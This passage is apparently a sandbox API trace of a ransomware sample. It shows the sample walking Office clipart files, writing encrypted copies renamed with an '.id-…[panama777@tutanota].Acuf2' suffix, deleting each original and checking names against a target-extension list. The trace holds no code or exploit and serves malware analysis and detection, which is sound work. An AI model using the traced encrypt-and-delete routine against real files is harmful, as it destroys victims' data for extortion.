	[0271.610] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=62367) returned 1
	[0271.610] CloseHandle (hObject=0x36c) returned 1
	[0271.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20
	[0271.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.610] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.610] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.610] GetLastError () returned 0x0
	[0271.610] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xf39f, lpOverlapped=0x0) returned 1
	[0271.613] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xf3a0, lpOverlapped=0x0) returned 1
	[0271.615] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.615] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.615] SetEndOfFile (hFile=0x35c) returned 1
	[0271.615] CloseHandle (hObject=0x35c) returned 1
	[0271.615] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.615] SetEndOfFile (hFile=0x36c) returned 1
	[0271.618] CloseHandle (hObject=0x36c) returned 1
	[0271.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1
	[0271.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.619] lstrlenW (lpString=".doc") returned 4
	[0271.619] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.619] lstrlenW (lpString=".docx") returned 5
	[0271.619] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0271.619] lstrlenW (lpString=".pdf") returned 4
	[0271.619] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.619] lstrlenW (lpString=".xls") returned 4
	[0271.619] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.619] lstrlenW (lpString=".xlsx") returned 5
	[0271.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0271.619] lstrlenW (lpString=".ppt") returned 4
	[0271.619] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.619] lstrlenW (lpString=".zip") returned 4
	[0271.619] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.619] lstrlenW (lpString=".rar") returned 4
	[0271.619] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.619] lstrlenW (lpString=".bz2") returned 4
	[0271.619] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.619] lstrlenW (lpString=".7z") returned 3
	[0271.619] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.619] lstrlenW (lpString=".dbf") returned 4
	[0271.619] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.619] lstrlenW (lpString=".1cd") returned 4
	[0271.619] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63
	[0271.620] lstrlenW (lpString=".jpg") returned 4
	[0271.620] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.620] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17964) returned 1
	[0271.620] CloseHandle (hObject=0x36c) returned 1
	[0271.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20
	[0271.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.620] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.620] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.621] GetLastError () returned 0x0
	[0271.621] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x462c, lpOverlapped=0x0) returned 1
	[0271.745] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4630, lpOverlapped=0x0) returned 1
	[0271.746] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.746] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.746] SetEndOfFile (hFile=0x35c) returned 1
	[0271.746] CloseHandle (hObject=0x35c) returned 1
	[0271.746] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.746] SetEndOfFile (hFile=0x36c) returned 1
	[0271.749] CloseHandle (hObject=0x36c) returned 1
	[0271.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1
	[0271.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.757] lstrlenW (lpString=".doc") returned 4
	[0271.758] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.758] lstrlenW (lpString=".docx") returned 5
	[0271.758] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0271.758] lstrlenW (lpString=".pdf") returned 4
	[0271.758] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.758] lstrlenW (lpString=".xls") returned 4
	[0271.758] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.758] lstrlenW (lpString=".xlsx") returned 5
	[0271.758] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0271.758] lstrlenW (lpString=".ppt") returned 4
	[0271.758] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.758] lstrlenW (lpString=".zip") returned 4
	[0271.758] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.758] lstrlenW (lpString=".rar") returned 4
	[0271.758] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.758] lstrlenW (lpString=".bz2") returned 4
	[0271.758] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.758] lstrlenW (lpString=".7z") returned 3
	[0271.758] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.759] lstrlenW (lpString=".dbf") returned 4
	[0271.759] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.759] lstrlenW (lpString=".1cd") returned 4
	[0271.759] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63
	[0271.759] lstrlenW (lpString=".jpg") returned 4
	[0271.759] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.799] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=16543) returned 1
	[0271.799] CloseHandle (hObject=0x390) returned 1
	[0271.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20
	[0271.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.800] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.800] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.800] GetLastError () returned 0x0
	[0271.800] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x409f, lpOverlapped=0x0) returned 1
	[0271.802] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x40a0, lpOverlapped=0x0) returned 1
	[0271.803] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.803] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.803] SetEndOfFile (hFile=0x360) returned 1
	[0271.803] CloseHandle (hObject=0x360) returned 1
	[0271.803] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.803] SetEndOfFile (hFile=0x390) returned 1
	[0271.805] CloseHandle (hObject=0x390) returned 1
	[0271.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1
	[0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.806] lstrlenW (lpString=".doc") returned 4
	[0271.806] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.806] lstrlenW (lpString=".docx") returned 5
	[0271.806] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0271.806] lstrlenW (lpString=".pdf") returned 4
	[0271.806] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.806] lstrlenW (lpString=".xls") returned 4
	[0271.806] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.806] lstrlenW (lpString=".xlsx") returned 5
	[0271.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0271.806] lstrlenW (lpString=".ppt") returned 4
	[0271.806] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.806] lstrlenW (lpString=".zip") returned 4
	[0271.806] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.806] lstrlenW (lpString=".rar") returned 4
	[0271.806] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.806] lstrlenW (lpString=".bz2") returned 4
	[0271.806] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.806] lstrlenW (lpString=".7z") returned 3
	[0271.806] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.806] lstrlenW (lpString=".dbf") returned 4
	[0271.806] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.806] lstrlenW (lpString=".1cd") returned 4
	[0271.807] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63
	[0271.807] lstrlenW (lpString=".jpg") returned 4
	[0271.807] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.807] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17854) returned 1
	[0271.807] CloseHandle (hObject=0x390) returned 1
	[0271.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20
	[0271.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.807] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.807] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.808] GetLastError () returned 0x0
	[0271.808] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x45be, lpOverlapped=0x0) returned 1
	[0271.810] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x45c0, lpOverlapped=0x0) returned 1
	[0271.811] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.811] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.811] SetEndOfFile (hFile=0x360) returned 1
	[0271.811] CloseHandle (hObject=0x360) returned 1
	[0271.811] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.811] SetEndOfFile (hFile=0x390) returned 1
	[0271.813] CloseHandle (hObject=0x390) returned 1
	[0271.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1
	[0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.813] lstrlenW (lpString=".doc") returned 4
	[0271.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.813] lstrlenW (lpString=".docx") returned 5
	[0271.813] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0271.813] lstrlenW (lpString=".pdf") returned 4
	[0271.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString=".xls") returned 4
	[0271.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.814] lstrlenW (lpString=".xlsx") returned 5
	[0271.814] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0271.814] lstrlenW (lpString=".ppt") returned 4
	[0271.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.814] lstrlenW (lpString=".zip") returned 4
	[0271.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.814] lstrlenW (lpString=".rar") returned 4
	[0271.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString=".bz2") returned 4
	[0271.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString=".7z") returned 3
	[0271.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.814] lstrlenW (lpString=".dbf") returned 4
	[0271.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.814] lstrlenW (lpString=".1cd") returned 4
	[0271.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63
	[0271.814] lstrlenW (lpString=".jpg") returned 4
	[0271.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.815] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=78840) returned 1
	[0271.815] CloseHandle (hObject=0x390) returned 1
	[0271.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20
	[0271.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.816] GetLastError () returned 0x0
	[0271.816] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x133f8, lpOverlapped=0x0) returned 1
	[0271.819] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x13400, lpOverlapped=0x0) returned 1
	[0271.821] ReadFile (in: hFile=0x390, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
